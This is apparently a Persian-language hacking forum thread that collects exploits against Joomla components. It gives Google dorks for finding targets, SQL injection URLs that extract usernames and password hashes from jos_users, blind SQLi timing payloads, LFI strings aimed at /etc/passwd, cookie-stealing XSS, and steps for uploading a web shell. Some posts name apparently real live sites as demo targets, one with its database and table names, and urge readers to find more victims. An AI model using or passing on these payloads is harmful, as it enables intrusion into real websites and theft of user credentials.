spyman

Joomla Component com_clantools version 1.2.3 Multiple Blind SQL Injection Dork :inurl:index.php?option=com_clantools&squad= [ Vulnerability 1 ] http://www.site.com/joomlapath/index.php?option=com_clantools&squad=1+[blind SQL] [ Vulnerability 2 ] http://www.site.com/joomlapath/index.php?option=com_clantools&task=clanwar&showgame=1+[blind SQL]&Itemid=999

Joomla com_adagency Persistent Xss Vulnerability Bug : Persistent XSS : The persistent Xss is while creating a website Step 1 : Register Step 2 : Goto to the option "Ads" option. Step 3 : Post the xss script in the ad description area and save it. Step 4 : Now preview your ad Demo Url : http://joomla15.ijoomlademo.com/index.php?option=com_adagency&controller=adagencyTextlink&task=edit&cid=37

1. Register on site 2. http://www.target.com/index.php?opti...sitory&itemid=[itemid]&func=addfile 3. Add your php file , example : Shell.php 4. http://www.target.com/components/com_remository_files/ 5. If web server alowe to see directory you can see folder example : File_image_2 6. You can find your shell in lates file_image_[latest number] 7 . Example url : http://www.example.com/components/co...00016shell.php dork : Inurl:"index.php?com_remository"

1. Biblioteca 1.0 Beta Joomla Component Multiple SQL Injection Vulnerabilities --[Multiple SQL Injection]-- http://host/path/components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 http://host/path/components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 http://host/path/index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23

Joomla Component com_zoomportfolio SQL Injection Vulnerability Dork :index.php?option=com_zoomportfolio --[How to exploit]-- http://127.0.0.1/path/index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id=[sql]

1.Joomla Component com_zina SQL Injection Vulnerability Dork :index.php?option=com_zina Bug : http://target/index.php?option=com_zina&view=zina&Itemid=9[sqli CODE] 2.Joomla Component com_extcalendar Blind SQL Injection Vulnerability Dork allinurl:"com_extcalendar" Bug : http://www.site.com/[PATH]/components/com_extcalendar/cal_popup.php?extmode=view&extid=[bLIND_SQL]

باگ جدید جوملا Joomla Component com_message SQL Injection Vulnerability G00gle Dork : inurl:"index.php?option=com_message" Exploiet : www.target/index.php?option=com_message&contid=-118[sql] Order by 33

باگ جدید جوملا <( Joomla Component com_dirfrm Sql Injection Vulnerability)> Dork google: inurl:"com_dirfrm" ############################################### Exploit: http://site.com/path/index.php?option=com_dirfrm&task=listAll&catid=[sql Injection]&id=8&Itemid=32 or http://site.com/path/index.php?option=com_dirfrm&task=listAll&catid=1&id=[sql Injection]&Itemid=32 ############################################### [sql Injection]: -> Step1: - order by n--- False - order by n+1-- True -> Step2:null Union select 1,2,3,4,...,n+1-- Eg: http://site.com/path/index.php?option=com_dirfrm&task=listAll&catid=1&id=null union select 1,2,3,4,5,6,7,8,9,10--&Itemid=32 -> Step3: replace display number on website version(), user(), database #if version SQL >=5 : try exploit with table system: ___table_name from information_scheama.tables where table_schema=database()-- ___column_name form information_schema.columns where table_name=Char(name table) #if version SQL <5: try exploit with blind SQL, blind table_name and column_name -> Step 4: collecting information null union select 1,2,3,concat_ws(0x7c,username,password,email) from jos_user-- Done!

باگ جدید جوملا <( Joomla Component com_ongallery SQL Injection Vulnerability)> اینم از یک باگ دیگه توی کامپوننت های این cms محبوب Name : Joomla Component com_ongallery SQL Injection Vulnerability DorK : index.php?option=com_ongallery [+] ExploiT : http://site.com/index.php?option=com_ongallery&task=ft&id=-1+order+by+1-- http://site.com/index.php?option=com_ongallery&task=ft&id=-1+union+select+1--

Jgrid 1.0 Joomla Component Local File Inclusion Vulnerability NAME : Jgrid 1.0 Joomla Component Local File Inclusion Vulnerability DorK : inurl:"option=com_jgrid" ==|Local File Inclusion|== http://site/path/index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00

Joomla "com_equipment" Sql Injection Vulnerability NAme : Joomla "com_equipment" Sql Injection Vulnerability Dork = inurl:"com_equipment" ===[ Exploit ]=== http://www.site.com/path/index.php?option=com_equipment&view=details&id=[sql] or http://www.site.com/path/index.php?option=com_equipment&task=components&id=45&sec_men_id=[sql] ===[injection]=== [sql] = +Union+select+1,user(),3,4,5,6+from+jos_users-- [sql] = +Union+select+1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17+jos_users-- [sql] = +Union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--

1.Joomla Component (com_weblinks) SQL Injection Vulnerability ----Dork---- inurl:"option=com_weblinks" ==|----exploit----|== http://{localhost}/{path}/index.php?option=com_weblinks&view=categories&Itemid=[sql] 2.Joomla Component (com_fireboard) SQL Injection Vulnerability ==|----Dork----|== inurl:"option=com_fireboard" ==|----exploit----|== http://{localhost}/{path}/index.php?option=com_fireboard&Itemid=[sql]

1.Joomla Component com_rsform Sql Injection Vulnerability Dork : inurl:com_rsform ::[0x01] SQL Injections :: http://example/index.php?option=com_rsform&Itemid=[sqli]

سعی می کنم تمامی و جدید ترین باگ های جوملا رو همینجا بزارم تا یک تاپیک کامل بشه Name : Joomla Component com_songs SQL Injection Vulnerability Dork: index.php?option=com_songs ===[ Exploit ]=== http://target.com/index.php?option=com_songs&task=detail&id=-29+UNION SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14+from+jos_users-- *

1.Joomla Component com_mysms Upload Vulnerability Xploit: Upload Vulnerability Step 1: Register first Step 2: Goto your profile "Mysms" option Step 3: The attacker can upload shell in the "Import phonebook" option and it doesnt validate any file format so upload your shell DEMOU URL :http://mysms-demo.willcodejoomlaforfood.de/?option=com_mysms&Itemid=0&task=phonebook Step 4: your shell is uploaded and now you do ur job 2.Joomla Component com_zoom (XSS/Blind SQLi/SQL Injection) Vulnerability Dork : inurl:com_zoom Dork: inurl:com_zoom/www/view.php?popup= catid *********************************************** How to exploit XSS index.php?index.php?option=com_zoom&Itemid=2&catid=2&PageNo=<script>alert(document.cookie)</script> ********************************************** How to exploit BLSi components/com_zoom/www/view.php?popup=1&catid=[bSi]&key=2&hit=1 ********************************************* How to exploit SQLi components/com_zoom/www/view.php?popup=1&catid=[sqli]&key=11&hit=1

Joomla com_adsmanager SQli Vulnerability Google dork: inurl:com_adsmanager Xploit: http://target.com/index.php?option=com_adsmanager&page=show_ad&adid=[sQli]&catid=15&Itemid=0

1.joomla Component Amblog 1.0 Multiple SQL Injection Vulnerabilities name : Joomla Component Amblog 1.0 Multiple SQL Injection Vulnerabilities SAMPLE CODE: A) Multiple SQL Injection http://site/path/index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version http://site/path/index.php?option=com_amblog&task=article&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users http://site/path/index.php?option=com_amblog&task=newform&catid=-1 UNION SELECT 1,CONCAT(username,0x3a,password) FROM jos_users http://site/path/index.php?option=com_amblog&task=editform&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users http://site/path/index.php?option=com_amblog&task=editcommentform&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users http://site/path/index.php?option=com_amblog&task=savenewcomment&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users http://site/path/index.php?option=com_amblog&task=saveeditcomment&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users B) Multiple Blind SQL Injection http://site/path/index.php?option=com_amblog&task=editsave&articleid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) http://site/path/index.php?option=com_amblog&task=delete&articleid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) 2.Joomla Component com_ss Sql Injection Vulnerability name : Joomla "com_ss" Sql Injection Vulnerability Dork : inurl:index.php?option=com_ss http:/target.com/index.php?option=com_ss&view=subcategory&id=1646277829[sql] http://target.com/index.php?option=com_ss&view=subcategory&id=2800733730&page=2[ Blind]

Joomla com_cggetaquote LFI Vulnerability Name : Joomla com_cggetaquote LFI Vulnerability[/b] [b] Google dork: inurl:com_cggetaquote OR inurl:index.php?option=com_cggetaquote http://target.com/index.php?option=com_cggetaquote&controller=[LFI] Joomla com_hbooking SQLi Vulnerability Name : Joomla com_hbooking SQLi Vulnerability Google dork: inurl:com_hbooking SQLI: http://target.com/hbooking/index.php?option=com_hbooking&view=roombooking&userid=[sQli] LFI: http://www.target.com/hbooking/index.php?option=com_hbooking&view=[LFI]

Joomla Component com_yellowpages SQL Injection Vulnerability Dork = inurl:/index.php?option=com_yellowpages? ############################################################ --- SQL Injection Vulenrability --- SQL Injection Vulenrability component "com_yellowpages" http://find.co.ke/newfind/index.php?option=com_yellowpages&cat=1923[sql] ############################################################ ===[injection]=== [sql] = http://find.co.ke/newfind/index.php?option=com_yellowpages&cat=-1 923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users-- ############################################################ ===[ Exploit ]=== http://www.site.com/path/index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users-- +Union+select+user()+from+jos_users-- ############################################################

Joomla Component Teams Multiple Blind SQL Injection Vulnerabilities Teams 1_1028_100809_1711 Joomla Component Multiple Blind SQL Injection Vulnerabilities Name Teams Vendor http://www.joomlamo.com Versions Affected 1_1028_100809_1711 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-08-10 X. INDEX I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX I. ABOUT THE APPLICATION ________________________ Teams is a base application for entering leagues, teams, players, uniforms, and games. II. DESCRIPTION _______________ Some parameters are not properly sanitised before being used in SQL queries. III. ANALYSIS _____________ Summary: A) Multiple Blind SQL Injection A) Multiple Blind SQL Injection _______________________________ Many parameters are not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. IV. SAMPLE CODE _______________ A) Multiple Blind SQL Injection POST /index.php HTTP/1.1 Host: targethost Content-Type: application/x-www-form-urlencoded Content-Length: 205 FirstName=mario&LastName=rossi&Notes=sds&TeamNames[1]=on&UniformNumber[1]=1 &Active=Y&cid[]=&PlayerID=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(99999999,NULL),NULL)))&option=com_teams&task =save&controller=player V. FIX ______ No fix.

سلام من اول تایپیک گفتم( جدام نمیشه . درهم و برهمه ):21: باگهای جوملا زیاد که خیلی هاش تو 25 جدید که خودم آزمایش کردم حل شده من از ورژن 1 دارم میزارم تا ..... من هرچی بزارم چه خودم ساختم جه کپی کنم از سایت آشیانست چون معلم من در باره هک این سایت بسیار عالی

سلام تو این تاپیک یه سری باگ های Sqli و Rfi و XSS به همراه مثال معرفی می شه درسته که لینک این اکسپلویت ها در سایت های Expliot db و امثالهم موجود است ، اما در اینجا نوعی Target Training هم برای تمرین گفته خواهد شد. قوانین تاپیک : 1- جواب پیشنهاد و انتقاد شما در تایپیک _.-*سوالات هک و امنیت*-._ قرار داده شود . 2- آموزش هک به تایپیک _.-* آموزش قدم به قدم هک *-._ بروید . 3-_.-*بازار باگ جوملا مخلوت ( جدام نمیشه . درهم و برهمه )*-._ 4- جهت بالا بردن امنیت جومیلا به تایپیک _.-*دیوار آتش برای جومیلا*-._ قرار داده شود . 5 - در صورتی که با پستی موافق هستید فقط دگمه تشکر رو بزنید تا مدیریت هم از امار موافق اون مورد اطلاع پیدا کنه. 6- تمرینات تو گروه هک انجام میدم و کسای که میخوان بیان پیام خصوصی بدن .

اینم جدیده و بد نیست ، [+] Title : Joomla Component com_horses SQL Injection Vulnerability [+] Author: Kernel Security Group [+] Data : 2010-05-19 [+] Vulnerable File : http://127.0.0.1/index.php?option=com_horses&task=getnames&id=-[sql] ] [+] ExploiT : -1/**/UNION/**/SELECT/**/1,2,3,4,5,6-- [+] Example : http://127.0.0.1/index.php?option=com_horses&task=getnames&id=-1/**/UNION/**/SELECT/**/1,2,3,4,5,6-- اینم یک دمو : http://www.sigginshorseco.com/index.php?option=com_horses&task=getnames&id=-1/**/UNION/**/SELECT/**/1,2,version%28%29,4,5,6 -- اینم دیتابیس دمو : siggins_jo152 اینم تیبل هاش : jos jos_core_acl_groups_aro_map jos_core_acl_aro_sections jos_core_acl_aro_map jos_core_acl_aro_groups jos_core_acl_aro jos_content_rating jos_content_frontpage jos_content jos_contact_details jos_components jos_categories jos_bannertrack jos_bannerclient jos_banner jos_aicontactsafe_statuses jos_aicontactsafe_profiles jos_aicontactsafe_messages jos_aicontactsafe_messagefiles jos_aicontactsafe_fieldvalues jos_aicontactsafe_fields jos_aicontactsafe_contactinformations jos_aicontactsafe_config jos_adsmanager_profile jos_adsmanager_positions jos_adsmanager_fields jos_adsmanager_field_values jos_adsmanager_config jos_adsmanager_columns jos_adsmanager_categories jos_adsmanager_ads jos_adsmanager_adcat jos_acymailing_userstats jos_acymailing_urlclick jos_acymailing_url jos_acymailing_template jos_acymailing_subscriber jos_acymailing_stats jos_acymailing_queue jos_acymailing_mail jos_acymailing_listsub jos_acymailing_listmail jos_acymailing_listcampaign jos_acymailing_list jos_acymailing_fields jos_acymailing_config تنبل نباشیم و بریم خودمون چندتا Dork پیدا کنیم : http://www.google.com/search?client=firefox-a&rls=org.mozilla%3Aen-US%3Aofficial&channel=s&hl=en&source=hp&q=inurl%3A%22com_horses%22&btnG=Google+Search تارگت های بیشتر رویه سایت های روسی فعاله

Joomla Component com_activehelper_livehelp v2.0.3 XSS Vulnerability جدیدترین اکسپلویت پیدا شده از جوملا که بر روی کامپوننت "com_activehelper_livehelp " به صورت Cross Site (XSS) تاثیر گذار است. # Exploit Title: Joomla Component ActiveHelper LiveHelp XSS Vulnerabilities # Date: 18.05.2010 # Author: Valentin # Category: webapps/0day # Version: 2.0.3 >> #1 Vulnerability Type = XSS Example URIs ->target-site/administrator/components/com_activehelper_livehelp/server/ ---->index.php?DOMAINID=XX&URL=XX&TITLE=XX&SERVER=[XSS] ---->cookies.php?&DOMAINID=[XSS]

سیستم جوملا معمولا به شکل های زیر نشان داده میشه : /index.php?option=com_----"Name Of Component" یا /component/option,com_"Name Of Component"/ در پست های بعدی اکسپلویت هایی معرفی میشه که شما می تونید هدف های بیشتر به صورت زیر در موتور های جستجو پیدا کنید » inurl:"com_نام کامپوننت"